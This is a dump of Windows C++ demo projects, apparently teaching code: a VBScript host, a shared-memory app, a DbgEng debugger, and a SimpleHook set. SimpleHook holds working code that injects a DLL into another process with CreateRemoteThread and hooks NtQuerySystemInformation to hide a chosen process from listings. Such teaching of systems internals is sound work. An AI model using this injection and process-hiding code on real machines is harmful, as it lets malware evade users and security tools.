19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ScriptingHost/ScriptingHost.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.14.35906.104 d17.14
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SimpleHost", "SimpleHost\SimpleHost.vcxproj", "{8077F86E-E2C6-427C-8C82-F687207DB56B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {8077F86E-E2C6-427C-8C82-F687207DB56B}.Debug|x64.ActiveCfg = Debug|x64
17 | {8077F86E-E2C6-427C-8C82-F687207DB56B}.Debug|x64.Build.0 = Debug|x64
18 | {8077F86E-E2C6-427C-8C82-F687207DB56B}.Debug|x86.ActiveCfg = Debug|Win32
19 | {8077F86E-E2C6-427C-8C82-F687207DB56B}.Debug|x86.Build.0 = Debug|Win32
20 | {8077F86E-E2C6-427C-8C82-F687207DB56B}.Release|x64.ActiveCfg = Release|x64
21 | {8077F86E-E2C6-427C-8C82-F687207DB56B}.Release|x64.Build.0 = Release|x64
22 | {8077F86E-E2C6-427C-8C82-F687207DB56B}.Release|x86.ActiveCfg = Release|Win32
23 | {8077F86E-E2C6-427C-8C82-F687207DB56B}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {7803DD1E-D3CB-4733-B337-5A3C5599CC22}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/ScriptingHost/SimpleHost/ScriptHost.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 |
7 | class ScriptHost :
8 | public IActiveScriptSite,
9 | public IActiveScriptSiteWindow {
10 | public:
11 | // Inherited via IActiveScriptSite
12 | HRESULT __stdcall QueryInterface(REFIID riid, void** ppvObject) override;
13 | ULONG __stdcall AddRef(void) override;
14 | ULONG __stdcall Release(void) override;
15 |
16 | HRESULT __stdcall GetLCID(LCID* plcid) override;
17 | HRESULT __stdcall GetItemInfo(LPCOLESTR pstrName, DWORD dwReturnMask, IUnknown** ppiunkItem, ITypeInfo** ppti) override;
18 | HRESULT __stdcall GetDocVersionString(BSTR* pbstrVersion) override;
19 | HRESULT __stdcall OnScriptTerminate(const VARIANT* pvarResult, const EXCEPINFO* pexcepinfo) override;
20 | HRESULT __stdcall OnStateChange(SCRIPTSTATE ssScriptState) override;
21 | HRESULT __stdcall OnScriptError(IActiveScriptError* pscripterror) override;
22 | HRESULT __stdcall OnEnterScript(void) override;
23 | HRESULT __stdcall OnLeaveScript(void) override;
24 |
25 | // Inherited via IActiveScriptSiteWindow
26 | HRESULT __stdcall GetWindow(HWND* phwnd) override;
27 | HRESULT __stdcall EnableModeless(BOOL fEnable) override;
28 |
29 | private:
30 | CComPtr m_Shell;
31 | };
32 |
33 |
--------------------------------------------------------------------------------
/ScriptingHost/SimpleHost/SimpleHost.cpp:
--------------------------------------------------------------------------------
1 | // SimpleHost.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include "ScriptHost.h"
9 |
10 | int main() {
11 | CoInitialize(nullptr);
12 |
13 | CComPtr engine;
14 | auto hr = engine.CoCreateInstance(L"VBScript");
15 | if (FAILED(hr))
16 | return hr;
17 |
18 | ScriptHost host;
19 | hr = engine->SetScriptSite(&host);
20 |
21 | engine->AddNamedItem(L"Shell", SCRIPTITEM_ISVISIBLE | SCRIPTITEM_GLOBALMEMBERS);
22 |
23 | CComQIPtr parse(engine);
24 | ATLASSERT(parse);
25 |
26 | CComVariant result;
27 | EXCEPINFO exceptInfo;
28 | hr = parse->ParseScriptText(LR"(
29 | shellexecute "mspaint"
30 | explore "c:\windows"
31 | msgbox "hello"
32 | )", nullptr, nullptr, nullptr, 0, 1, 0, &result, &exceptInfo);
33 |
34 | return 0;
35 |
36 | }
37 |
--------------------------------------------------------------------------------
/ScriptingHost/SimpleHost/SimpleHost.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 |
26 |
27 | Header Files
28 |
29 |
30 |
--------------------------------------------------------------------------------
/SharedMem/SharedMem.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.33808.371
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SharedMem", "SharedMem\SharedMem.vcxproj", "{1613FBCD-E25A-4019-A6A9-820C58631DAC}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {1613FBCD-E25A-4019-A6A9-820C58631DAC}.Debug|x64.ActiveCfg = Debug|x64
17 | {1613FBCD-E25A-4019-A6A9-820C58631DAC}.Debug|x64.Build.0 = Debug|x64
18 | {1613FBCD-E25A-4019-A6A9-820C58631DAC}.Debug|x86.ActiveCfg = Debug|Win32
19 | {1613FBCD-E25A-4019-A6A9-820C58631DAC}.Debug|x86.Build.0 = Debug|Win32
20 | {1613FBCD-E25A-4019-A6A9-820C58631DAC}.Release|x64.ActiveCfg = Release|x64
21 | {1613FBCD-E25A-4019-A6A9-820C58631DAC}.Release|x64.Build.0 = Release|x64
22 | {1613FBCD-E25A-4019-A6A9-820C58631DAC}.Release|x86.ActiveCfg = Release|Win32
23 | {1613FBCD-E25A-4019-A6A9-820C58631DAC}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {F02BCC71-7C45-4647-A79A-DF32A8DA61E8}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SharedMem/SharedMem/MainDlg.cpp:
--------------------------------------------------------------------------------
1 | // MainDlg.cpp : implementation of the CMainDlg class
2 | //
3 | /////////////////////////////////////////////////////////////////////////////
4 |
5 | #include "stdafx.h"
6 | #include "resource.h"
7 |
8 | #include "MainDlg.h"
9 |
10 | LRESULT CMainDlg::OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/) {
11 | // center the dialog on the screen
12 | CenterWindow();
13 |
14 | // set icons
15 | HICON hIcon = AtlLoadIconImage(IDR_MAINFRAME, LR_DEFAULTCOLOR, ::GetSystemMetrics(SM_CXICON), ::GetSystemMetrics(SM_CYICON));
16 | SetIcon(hIcon, TRUE);
17 | HICON hIconSmall = AtlLoadIconImage(IDR_MAINFRAME, LR_DEFAULTCOLOR, ::GetSystemMetrics(SM_CXSMICON), ::GetSystemMetrics(SM_CYSMICON));
18 | SetIcon(hIconSmall, FALSE);
19 |
20 | m_hSharedMem = CreateFileMapping(INVALID_HANDLE_VALUE,
21 | nullptr, PAGE_READWRITE, 0, 1 << 20, L"MySharedMemory");
22 | ATLASSERT(m_hSharedMem);
23 |
24 | return TRUE;
25 | }
26 |
27 | LRESULT CMainDlg::OnAppAbout(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/) {
28 | CSimpleDialog dlg;
29 | dlg.DoModal();
30 | return 0;
31 | }
32 |
33 | LRESULT CMainDlg::OnOK(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) {
34 | // TODO: Add validation code
35 | EndDialog(wID);
36 | return 0;
37 | }
38 |
39 | LRESULT CMainDlg::OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) {
40 | EndDialog(wID);
41 | return 0;
42 | }
43 |
44 | LRESULT CMainDlg::OnWrite(WORD, WORD wID, HWND, BOOL&) {
45 | void* p = MapViewOfFile(m_hSharedMem, FILE_MAP_WRITE, 0, 0, 64 << 10);
46 | ATLASSERT(p);
47 |
48 | WCHAR text[256];
49 | GetDlgItemText(IDC_TEXT, text, _countof(text));
50 | wcscpy_s((PWSTR)p, _countof(text), text);
51 | UnmapViewOfFile(p);
52 |
53 | return 0;
54 | }
55 |
56 | LRESULT CMainDlg::OnRead(WORD, WORD wID, HWND, BOOL&) {
57 | void* p = MapViewOfFile(m_hSharedMem, FILE_MAP_READ, 0, 0, 64 << 10);
58 | ATLASSERT(p);
59 |
60 | SetDlgItemText(IDC_TEXT, (PCWSTR)p);
61 |
62 | UnmapViewOfFile(p);
63 |
64 | return 0;
65 | }
66 |
--------------------------------------------------------------------------------
/SharedMem/SharedMem/MainDlg.h:
--------------------------------------------------------------------------------
1 | // MainDlg.h : interface of the CMainDlg class
2 | //
3 | /////////////////////////////////////////////////////////////////////////////
4 |
5 | #pragma once
6 |
7 | class CMainDlg : public CDialogImpl {
8 | public:
9 | enum { IDD = IDD_MAINDLG };
10 |
11 | BEGIN_MSG_MAP(CMainDlg)
12 | MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog)
13 | COMMAND_ID_HANDLER(ID_APP_ABOUT, OnAppAbout)
14 | COMMAND_ID_HANDLER(IDOK, OnOK)
15 | COMMAND_ID_HANDLER(IDCANCEL, OnCancel)
16 | COMMAND_ID_HANDLER(IDC_WRITE, OnWrite)
17 | COMMAND_ID_HANDLER(IDC_READ, OnRead)
18 | END_MSG_MAP()
19 |
20 | // Handler prototypes (uncomment arguments if needed):
21 | // LRESULT MessageHandler(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/)
22 | // LRESULT CommandHandler(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
23 | // LRESULT NotifyHandler(int /*idCtrl*/, LPNMHDR /*pnmh*/, BOOL& /*bHandled*/)
24 |
25 | private:
26 | LRESULT OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/);
27 | LRESULT OnAppAbout(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/);
28 | LRESULT OnOK(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/);
29 | LRESULT OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/);
30 | LRESULT OnRead(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/);
31 | LRESULT OnWrite(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/);
32 |
33 | HANDLE m_hSharedMem;
34 | };
35 |
--------------------------------------------------------------------------------
/SharedMem/SharedMem/SharedMem.cpp:
--------------------------------------------------------------------------------
1 | // SharedMem.cpp : main source file for SharedMem.exe
2 | //
3 |
4 | #include "stdafx.h"
5 |
6 | #include "resource.h"
7 |
8 | #include "MainDlg.h"
9 |
10 | CAppModule _Module;
11 |
12 | int WINAPI _tWinMain(HINSTANCE hInstance, HINSTANCE /*hPrevInstance*/, LPTSTR /*lpstrCmdLine*/, int /*nCmdShow*/)
13 | {
14 | HRESULT hRes = ::CoInitialize(NULL);
15 | ATLASSERT(SUCCEEDED(hRes));
16 |
17 | AtlInitCommonControls(ICC_BAR_CLASSES); // add flags to support other controls
18 |
19 | hRes = _Module.Init(NULL, hInstance);
20 | ATLASSERT(SUCCEEDED(hRes));
21 |
22 | int nRet = 0;
23 | // BLOCK: Run application
24 | {
25 | CMainDlg dlgMain;
26 | nRet = (int)dlgMain.DoModal();
27 | }
28 |
29 | _Module.Term();
30 | ::CoUninitialize();
31 |
32 | return nRet;
33 | }
34 |
--------------------------------------------------------------------------------
/SharedMem/SharedMem/SharedMem.h:
--------------------------------------------------------------------------------
1 | // SharedMem.h
2 |
--------------------------------------------------------------------------------
/SharedMem/SharedMem/SharedMem.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {a19e0b6d-41e5-47df-a9c6-e185771838d0}
6 | cpp;c;cxx;def;odl;idl;hpj;bat;asm
7 |
8 |
9 | {947c550a-7769-43eb-9e94-7ae66bf26747}
10 | h;hpp;hxx;hm;inl;inc
11 |
12 |
13 | {9c91ced3-0c52-47cc-9732-5f4cb42b12cd}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;jpg;jpeg;jpe;manifest
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 |
29 |
30 | Header Files
31 |
32 |
33 | Header Files
34 |
35 |
36 | Header Files
37 |
38 |
39 |
40 |
41 | Resource Files
42 |
43 |
44 |
45 |
46 | Resource Files
47 |
48 |
49 |
--------------------------------------------------------------------------------
/SharedMem/SharedMem/res/SharedMem.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zodiacon/youtubecode/47c127a5f0d7ec57dde5a226dd828efabd586a84/SharedMem/SharedMem/res/SharedMem.ico
--------------------------------------------------------------------------------
/SharedMem/SharedMem/resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Visual C++ generated include file.
3 | // Used by SharedMem.rc
4 | //
5 | #define IDD_ABOUTBOX 100
6 | #define IDR_MAINFRAME 128
7 | #define IDD_MAINDLG 129
8 | #define IDC_TEXT 1000
9 | #define IDC_WRITE 1001
10 | #define IDC_BUTTON2 1002
11 | #define IDC_READ 1002
12 |
13 | // Next default values for new objects
14 | //
15 | #ifdef APSTUDIO_INVOKED
16 | #ifndef APSTUDIO_READONLY_SYMBOLS
17 | #define _APS_NEXT_RESOURCE_VALUE 202
18 | #define _APS_NEXT_COMMAND_VALUE 32775
19 | #define _APS_NEXT_CONTROL_VALUE 1003
20 | #define _APS_NEXT_SYMED_VALUE 101
21 | #endif
22 | #endif
23 |
--------------------------------------------------------------------------------
/SharedMem/SharedMem/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // SharedMem.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
--------------------------------------------------------------------------------
/SharedMem/SharedMem/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 | // Change these values to use different versions
9 | #define WINVER 0x0601
10 | #define _WIN32_WINNT 0x0601
11 | #define _WIN32_IE 0x0700
12 | #define _RICHEDIT_VER 0x0500
13 |
14 | #include
15 | #include
16 |
17 | extern CAppModule _Module;
18 |
19 | #include
20 |
21 | #include
22 | #include
23 | #include
24 |
25 | #if defined _M_IX86
26 | #pragma comment(linker, "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
27 | #elif defined _M_IA64
28 | #pragma comment(linker, "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='ia64' publicKeyToken='6595b64144ccf1df' language='*'\"")
29 | #elif defined _M_X64
30 | #pragma comment(linker, "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
31 | #else
32 | #pragma comment(linker, "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
33 | #endif
34 |
--------------------------------------------------------------------------------
/SimpleDbg/SimpleCdb/Debugger.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 |
7 | class Debugger : public IDebugEventCallbacks, public IDebugOutputCallbacks {
8 | public:
9 | HRESULT Init();
10 | HRESULT AttachToProcess(DWORD pid);
11 | HRESULT WaitForEvent();
12 | bool IsInBreakpoint() const;
13 | HRESULT ExecuteCommand(PCSTR cmd);
14 | void DisplayPrompt();
15 | ULONG GetState() const;
16 | void DisplayState();
17 | void Break();
18 |
19 | private:
20 | HRESULT __stdcall QueryInterface(REFIID InterfaceId, PVOID* Interface) override;
21 | ULONG __stdcall AddRef(void) override;
22 | ULONG __stdcall Release(void) override;
23 | HRESULT __stdcall GetInterestMask(PULONG Mask) override;
24 | HRESULT __stdcall Breakpoint(PDEBUG_BREAKPOINT Bp) override;
25 | HRESULT __stdcall Exception(PEXCEPTION_RECORD64 Exception, ULONG FirstChance) override;
26 | HRESULT __stdcall CreateThread(ULONG64 Handle, ULONG64 DataOffset, ULONG64 StartOffset) override;
27 | HRESULT __stdcall ExitThread(ULONG ExitCode) override;
28 | HRESULT __stdcall ExitProcess(ULONG ExitCode) override;
29 | HRESULT __stdcall LoadModule(ULONG64 ImageFileHandle, ULONG64 BaseOffset, ULONG ModuleSize, PCSTR ModuleName, PCSTR ImageName, ULONG CheckSum, ULONG TimeDateStamp) override;
30 | HRESULT __stdcall UnloadModule(PCSTR ImageBaseName, ULONG64 BaseOffset) override;
31 | HRESULT __stdcall SystemError(ULONG Error, ULONG Level) override;
32 | HRESULT __stdcall SessionStatus(ULONG Status) override;
33 | HRESULT __stdcall ChangeDebuggeeState(ULONG Flags, ULONG64 Argument) override;
34 | HRESULT __stdcall ChangeEngineState(ULONG Flags, ULONG64 Argument) override;
35 | HRESULT __stdcall ChangeSymbolState(ULONG Flags, ULONG64 Argument) override;
36 | HRESULT __stdcall Output(ULONG Mask, PCSTR Text) override;
37 | HRESULT __stdcall CreateProcessW(ULONG64 ImageFileHandle, ULONG64 Handle, ULONG64 BaseOffset, ULONG ModuleSize, PCSTR ModuleName,
38 | PCSTR ImageName, ULONG CheckSum, ULONG TimeDateStamp, ULONG64 InitialThreadHandle, ULONG64 ThreadDataOffset, ULONG64 StartOffset)override;
39 |
40 | private:
41 | CComPtr m_Client;
42 | CComPtr m_Control;
43 | bool m_Breakpoint{ false };
44 | };
45 |
46 |
--------------------------------------------------------------------------------
/SimpleDbg/SimpleCdb/SimpleCdb.cpp:
--------------------------------------------------------------------------------
1 | // SimpleCdb.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include "Debugger.h"
5 | #include
6 |
7 | DWORD LaunchExe(PWSTR path) {
8 | STARTUPINFO si{ sizeof(si) };
9 | PROCESS_INFORMATION pi;
10 | if (CreateProcessW(nullptr, path, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi)) {
11 | CloseHandle(pi.hProcess);
12 | CloseHandle(pi.hThread);
13 | return pi.dwProcessId;
14 | }
15 | return 0;
16 | }
17 |
18 | int main() {
19 | CoInitialize(nullptr);
20 |
21 | static Debugger dbg;
22 | dbg.Init();
23 |
24 | WCHAR name[] = L"notepad";
25 | auto pid = LaunchExe(name);
26 | if (!pid)
27 | return 1;
28 |
29 | Sleep(500);
30 | dbg.AttachToProcess(pid);
31 |
32 | char command[256];
33 | bool exit = false;
34 |
35 | SetConsoleCtrlHandler([](auto) {
36 | dbg.Break();
37 | return TRUE;
38 | }, TRUE);
39 |
40 | while (!exit) {
41 | auto state = dbg.GetState();
42 | switch (state) {
43 | case DEBUG_STATUS_NO_DEBUGGEE:
44 | exit = true;
45 | continue;
46 |
47 | case DEBUG_STATUS_GO:
48 | case DEBUG_STATUS_STEP_BRANCH:
49 | case DEBUG_STATUS_STEP_INTO:
50 | case DEBUG_STATUS_STEP_OVER:
51 | dbg.WaitForEvent();
52 | if (dbg.GetState() == DEBUG_STATUS_BREAK)
53 | dbg.DisplayState();
54 | break;
55 | }
56 | dbg.DisplayPrompt();
57 | printf(" ");
58 | gets_s(command, sizeof(command));
59 | dbg.ExecuteCommand(command);
60 | }
61 |
62 | return 0;
63 | }
64 |
--------------------------------------------------------------------------------
/SimpleDbg/SimpleCdb/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/SimpleDbg/SimpleDbg/SimpleDbg.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/SimpleHook/ConfigHook/ConfigHook.cpp:
--------------------------------------------------------------------------------
1 | // ConfigHook.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 | __declspec(dllimport) WCHAR HiddenProcessName[32];
8 | __declspec(dllimport) DWORD HiddenPid;
9 |
10 | void Usage() {
11 | printf("Usage: ConfigDll hide \n");
12 | }
13 |
14 | int wmain(int argc, const wchar_t* argv[]) {
15 | if (argc < 2) {
16 | Usage();
17 | return 0;
18 | }
19 |
20 | if (_wcsicmp(argv[1], L"hide") != 0) {
21 | Usage();
22 | return 1;
23 | }
24 |
25 | if (argc == 2) {
26 | HiddenProcessName[0] = 0;
27 | HiddenPid = 0;
28 | }
29 | else {
30 | auto pid = _wtoi(argv[2]);
31 | if (pid == 0)
32 | wcscpy_s(HiddenProcessName, argv[2]);
33 | else
34 | HiddenPid = pid;
35 | }
36 | return 0;
37 | }
38 |
39 |
--------------------------------------------------------------------------------
/SimpleHook/ConfigHook/ConfigHook.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/SimpleHook/HookDll/HookDll.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 |
23 |
24 | Source Files
25 |
26 |
27 | Source Files
28 |
29 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/SimpleHook/HookDll/dllmain.cpp:
--------------------------------------------------------------------------------
1 | // dllmain.cpp : Defines the entry point for the DLL application.
2 | #include "pch.h"
3 |
4 | #include
5 | #include
6 |
7 | #pragma comment(lib, "ntdll")
8 |
9 | #pragma data_seg("shared")
10 | __declspec(dllexport) WCHAR HiddenProcessName[32] = { 0 };
11 | __declspec(dllexport) DWORD HiddenPid = 0;
12 | #pragma data_seg()
13 | #pragma comment(linker, "/section:shared,RWS")
14 |
15 | decltype(::NtQuerySystemInformation)* OrgNtQuerySystemInformation;
16 |
17 | NTSTATUS NTAPI HookNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS infoClass, PVOID info, ULONG len, PULONG rlen) {
18 | auto status = OrgNtQuerySystemInformation(infoClass, info, len, rlen);
19 | if (!NT_SUCCESS(status))
20 | return status;
21 |
22 | if (infoClass != SystemProcessInformation)
23 | return status;
24 |
25 | if (HiddenPid == 0 && HiddenProcessName[0] == 0)
26 | return status;
27 |
28 | auto p = (SYSTEM_PROCESS_INFORMATION*)info;
29 | SYSTEM_PROCESS_INFORMATION* prev = nullptr;
30 | for(;;) {
31 | if (prev) {
32 | if ((*HiddenProcessName && _wcsnicmp(HiddenProcessName, p->ImageName.Buffer, p->ImageName.Length / sizeof(WCHAR)) == 0) ||
33 | (HiddenPid && HiddenPid == HandleToULong(p->UniqueProcessId))) {
34 | //
35 | // hide process
36 | //
37 | prev->NextEntryOffset += p->NextEntryOffset;
38 | }
39 | else {
40 | prev = p;
41 | }
42 | }
43 | else {
44 | prev = p;
45 | }
46 | p = (SYSTEM_PROCESS_INFORMATION*)((PBYTE)p + p->NextEntryOffset);
47 | if (p->NextEntryOffset == 0)
48 | break;
49 | }
50 | return status;
51 | }
52 |
53 |
54 | bool InstallHooks() {
55 | OrgNtQuerySystemInformation = (decltype(::NtQuerySystemInformation)*)::GetProcAddress(::GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
56 | DetourTransactionBegin();
57 | DetourAttach((PVOID*)&OrgNtQuerySystemInformation, HookNtQuerySystemInformation);
58 | return ERROR_SUCCESS == DetourTransactionCommit();
59 | }
60 |
61 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
62 | switch (reason) {
63 | case DLL_PROCESS_ATTACH:
64 | return InstallHooks();
65 |
66 | case DLL_PROCESS_DETACH:
67 | //UninstallHooks();
68 | break;
69 | }
70 | return TRUE;
71 | }
72 |
73 |
--------------------------------------------------------------------------------
/SimpleHook/HookDll/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/SimpleHook/HookDll/pch.cpp:
--------------------------------------------------------------------------------
1 | // pch.cpp: source file corresponding to the pre-compiled header
2 |
3 | #include "pch.h"
4 |
5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
6 |
--------------------------------------------------------------------------------
/SimpleHook/HookDll/pch.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
--------------------------------------------------------------------------------
/SimpleHook/InjectDll/InjectDll.cpp:
--------------------------------------------------------------------------------
1 | // InjectDll.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 | int main(int argc, const char* argv[]) {
8 | if (argc < 3) {
9 | printf("Usage: InjectDll \n");
10 | return 0;
11 | }
12 |
13 | auto pid = atoi(argv[1]);
14 |
15 | HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
16 | PROCESS_CREATE_THREAD, FALSE, pid);
17 | if (!hProcess) {
18 | printf("Error opening process (%u)\n", GetLastError());
19 | return 1;
20 | }
21 |
22 | auto p = VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE,
23 | PAGE_READWRITE);
24 |
25 | WriteProcessMemory(hProcess, p, argv[2], strlen(argv[2]) + 1, nullptr);
26 |
27 | auto hThread = CreateRemoteThread(hProcess, nullptr, 0,
28 | (LPTHREAD_START_ROUTINE)GetProcAddress(
29 | GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"),
30 | p, 0, nullptr);
31 | WaitForSingleObject(hThread, INFINITE);
32 |
33 | CloseHandle(hThread);
34 | CloseHandle(hProcess);
35 | }
36 |
37 |
--------------------------------------------------------------------------------
/SimpleHook/InjectDll/InjectDll.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
